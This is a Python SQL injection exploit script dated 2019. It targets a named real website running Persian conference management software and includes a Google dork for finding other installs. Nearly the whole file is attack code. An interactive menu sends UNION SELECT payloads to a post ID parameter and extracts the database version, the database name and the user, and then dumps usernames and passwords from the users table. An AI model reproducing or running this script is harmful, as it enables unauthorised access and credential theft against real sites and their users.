#!/usr/bin/python3
################################################
# Title: Zaheb.ir | SQL Injection
# Date: 2019-07-23
# Google Dork: intext:طراح و پشتیبان : آسان همایش (نرم افزار مدیریت همایش و کنفرانس)
# Exploit Author: D3trct0r
# Vendor Homepage: http://asanhamayesh.com
# Tested on: GNU/Linux , Windows , FreeBsd , Android
# CWE : CWE-89
################################################
import requests
from bs4 import BeautifulSoup
try:
print ('''\033[31m
███████╗ █████╗ ██╗ ██╗███████╗██████╗ ██╗██████╗
╚══███╔╝██╔══██╗██║ ██║██╔════╝██╔══██╗ ██║██╔══██╗
███╔╝ ███████║███████║█████╗ ██████╔╝ ██║██████╔╝
███╔╝ ██╔══██║██╔══██║██╔══╝ ██╔══██╗ ██║██╔══██╗
███████╗██║ ██║██║ ██║███████╗██████╔╝██╗██║██║ ██║
╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═════╝ ╚═╝╚═╝╚═╝ ╚═╝
███████╗██╗ ██╗██████╗ ██╗ ██████╗ ██╗████████╗
██╔════╝╚██╗██╔╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝
█████╗ ╚███╔╝ ██████╔╝██║ ██║ ██║██║ ██║
██╔══╝ ██╔██╗ ██╔═══╝ ██║ ██║ ██║██║ ██║
███████╗██╔╝ ██╗██║ ███████╗╚██████╔╝██║ ██║
╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝
Enter 'help' to show commands
''')
while True:
opt = input ("[root@Zaheb Exploit]# ")
if opt == 'help' :
print ('''
version
database
userdb
usernames
passwords
userpass
exit
''')
elif opt == 'version':
payload = "+union+select+1,2,3,version(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+users--+"
url = "http://zaheb.ir/Post.php?id=-917"
up = (url+payload)
r = requests.get(up)
html = BeautifulSoup(r.content,'html.parser')
data = html.find_all('div',attrs={'class':'post-short'})
for i in data[0]:
print('\033[31m ' ,i)
elif opt == 'database':
payload = "+union+select+1,2,3,database(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+users--+"
url = "http://zaheb.ir/Post.php?id=-917"
up = (url+payload)
r = requests.get(up)
html = BeautifulSoup(r.content,'html.parser')
data = html.find_all('div',attrs={'class':'post-short'})
for i in data[0]:
print('\033[31m ' ,i)
elif opt == 'userdb':
payload = "+union+select+1,2,3,user(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+users--+"
url = "http://zaheb.ir/Post.php?id=-917"
up = (url+payload)
r = requests.get(up)
html = BeautifulSoup(r.content,'html.parser')
data = html.find_all('div',attrs={'class':'post-short'})
for i in data[0]:
print('\033[31m ' ,i)
elif opt == 'usernames':
payload = "+union+select+1,2,3,unhex(hex(group_concat(UserName))),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+users--+"
url = "http://zaheb.ir/Post.php?id=-917"
up = (url+payload)
r = requests.get(up)
html = BeautifulSoup(r.content,'html.parser')
data = html.find_all('div',attrs={'class':'post-short'})
for i in data[0]:
print('\033[31m ' ,i)
elif opt == 'passwords':
payload = "+union+select+1,2,3,unhex(hex(group_concat(PassWord))),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+users--+"
url = "http://zaheb.ir/Post.php?id=-917"
up = (url+payload)
r = requests.get(up)
html = BeautifulSoup(r.content,'html.parser')
data = html.find_all('div',attrs={'class':'post-short'})
for i in data[0]:
print('\033[31m ' ,i)
elif opt == 'userpass':
payload = "+union+select+1,2,3,unhex(hex(group_concat(UserName,0x3a,PassWord))),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+users--+"
url = "http://zaheb.ir/Post.php?id=-917"
up = (url+payload)
r = requests.get(up)
html = BeautifulSoup(r.content,'html.parser')
data = html.find_all('div',attrs={'class':'post-short'})
for i in data[0]:
print('\033[31m ' ,i)
elif opt == 'exit':
quit()
else:
print ("EXP:",opt,"Command Not Found")
except SystemError:
print ("Please Check Internet....")
